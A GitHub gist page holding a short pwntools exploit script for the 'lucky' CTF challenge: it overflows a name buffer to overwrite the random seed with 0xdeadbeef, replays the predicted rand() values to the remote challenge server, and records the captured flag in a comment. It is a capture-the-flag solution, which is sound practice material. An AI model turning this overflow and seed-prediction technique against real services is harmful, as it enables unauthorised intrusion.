Skip to content

Instantly share code, notes, and snippets.

@H4niz
Created September 23, 2018 09:01
Show Gist options
  • Save H4niz/62762f8f8a9d312b6613ef09be10e96b to your computer and use it in GitHub Desktop.
Save H4niz/62762f8f8a9d312b6613ef09be10e96b to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
from ctypes import *
########################
__FILE__ = "./lucky"
__LIBC__ = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
__HOST__ = "167.99.143.206"
__PORT__ = 65031
__DEBUG__ = 0
if __DEBUG__:
io = process(__FILE__)
context.log_level="debug"
else:
io = remote(__HOST__, __PORT__)
io.recvuntil("name?")
p = "A"*(0x2e0-0x24)
p += p64(0xdeadbeef) #seed
# gdb.attach(io)
io.sendline(p)
__LIBC__.srand(0xdeadbeef)
count = 0
while count < 100:
io.recvuntil("100]")
io.sendline(str(__LIBC__.rand()))
print io.recvline()
count += 1
io.interactive()
#FLAG: DCTF{8adadb46b599a58344559e009bc167da7f0e65e64167c27d3192e8b6df073eaa}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment